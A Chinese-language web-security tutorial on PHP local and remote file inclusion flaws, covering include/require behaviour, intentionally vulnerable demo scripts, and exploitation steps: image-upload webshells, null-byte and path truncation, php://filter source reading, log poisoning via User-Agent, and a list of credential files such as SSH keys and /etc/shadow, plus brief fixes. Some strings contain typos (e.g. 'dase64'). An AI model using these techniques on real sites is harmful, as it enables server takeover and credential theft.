松鼠说web安全之文件包含
无需言,做自己。
0x01 漏洞成因
- 本地文件包含漏洞
- 远程文件包含漏洞。
条件: php.ini中配置项:
allow_url_fopen ON
allow_url_include ON
0x02 PHP中常见的文件包含函数
- include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行
- include_once():功能和include()相同,区别在于当重复调用同意文件时,程序只调用一次
- requier(): 使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行
- require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
总结:
(1) include() 执行到该函数时才会包含文件,而require() 程序一运行就加载文件;
(2) ***_once() 已加载的不重复加载
0x30 漏洞危害
- 执行任意脚本代码
- 控制网站
- 控制服务器
0x40 漏洞利用
本地文件包含
-
上传图片,包含图片Getshell
-
读文件,读PHP文件
-
包含日志文件GetShell
-
包含/proc/self/environ文件GetShell
-
如果有phpinfo可以包含临时文件
-
包含data:// 或者 php://input 等协议(需要allow_url_include=on)
1、包含图片的文件上传
demo1 show.php:
<?php
if($_GET['page']){
include($_GET['page']);
}else{
include("show.php");
}
?>
上传图片 1_php.jpg
<?php
phpinfo();
?>
测试:
http://localhost/code_inject/1/show.php?page=upload/20160801155130.jpg
demo2 show.php:
<?php
if($_GET['page']){
include("./action/".$_GET['page']);
}else{
include("./action/show.php");
}
?>
http://localhost/code_inject/2/show.php?page=../upload/20160801155526.jpg
demo3 show.php:
<?php
if($_GET['page']){
include("./action/".$_GET['page'].".php");
}else{
include("./action/show.php");
}
?>
http://localhost/code_inject/3/show.php?page=../upload/20160801155718.jpg%00
2、“%00”截断的方式
读取/etc/passwd文件:/etc/passwd%00
条件:php.ini 中需要 magic_quotes_gpc = off,PHP小于5.3.4有效
3、路径长度截断
/etc/passwd/./././././.[...]/./././.
条件:PHP版本小于5.2.8(?)可以成功,linux需要文件名长于4096,window需要长于256
4、读文件
index.php?file=/etc/passwd
5、敏感文件:
<code class="hljs avrasm has-numbering">/root/<span class="hljs-preprocessor">.ssh</span>/authorized_keys /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.keystore</span> /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.pub</span> /root/<span class="hljs-preprocessor">.ssh</span>/known_hosts /etc/shadow /root/<span class="hljs-preprocessor">.bash</span>_history /root/<span class="hljs-preprocessor">.mysql</span>_history /proc/self/fd/fd[<span class="hljs-number">0</span>-<span class="hljs-number">9</span>]* (文件标识符) /proc/mounts /proc/config<span class="hljs-preprocessor">.gz</span></code>
6、读取PHP文件
index.php?file=php://filter/read=convert.dase64.encode/resource=index.php
7、包含日志文件GetShell (需要一定的读取权限)
首先要找到日志文件的存放位置
- 文件包含漏洞去读取apache的配置文件
- index.php?page=/etc/init.d/httpd
- index.php?page=/etc/httpd/conf/httpd.conf
- 默认位置 /var/log/httpd/access_log
让日志文件插入PHP代码
- burpsuite抓包改包
- curl发包
- php代码插入到get请求部分或者user_agent部分
包含日志文件
index.php?page=/var/log/httpd/access_log
8、包含环境变量GetShell
需要PHP运行在CGI模式,然后和包含日志文件一样,在User_agent中修改成payload
远程文件包含
条件:
php.ini 中配置项
alow_url_fopen ON
allow_url_include ON
- 远程服务器存在一个txt文件,或者一个不被当前服务器解析的php文件(包含的时候 包含的是返回的php源代码,所以php源码不能被解析)
- index.php?page=http://www.xx.com/1/txt
0x05 漏洞挖掘
- 特定的CMS,特定的版本可能存在漏洞
- web漏洞扫描器扫描,常见web漏洞扫描器都支持文件包含漏洞的检测
0x06 漏洞修复
- php中可以使用 open_basedir配置限制访问权限在指定区域
- 过滤 . (点) / (斜杠) \ (反斜杠)
- 禁止服务器远程文件包含
补充:
appache日志文件默认在
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_logs
也可以找到apache的配置文件,通过配置文件找齐日志文件路径:
/etc/httpd/conf/httpd或者
/etc/init.d/httpd
nginx日志文件默认在:
安装目录logs目录下
以我的安装路径为例/usr/local/nginx ------ 日志目录就是在/usr/local/nginx/logs里
window 2003+iis6.0 日志文件默认放在
C:\WINDOWS\system32\Logfiles
配置文件默认在
C:\Windows/system32\inetsrv\metabase.xml
iis 7日志文件默认在
%SystemDrive%\inetpub\logs\LogFiles
配置文件默认目录
C:\Windows\System\inetsrv\config\applicationHost.config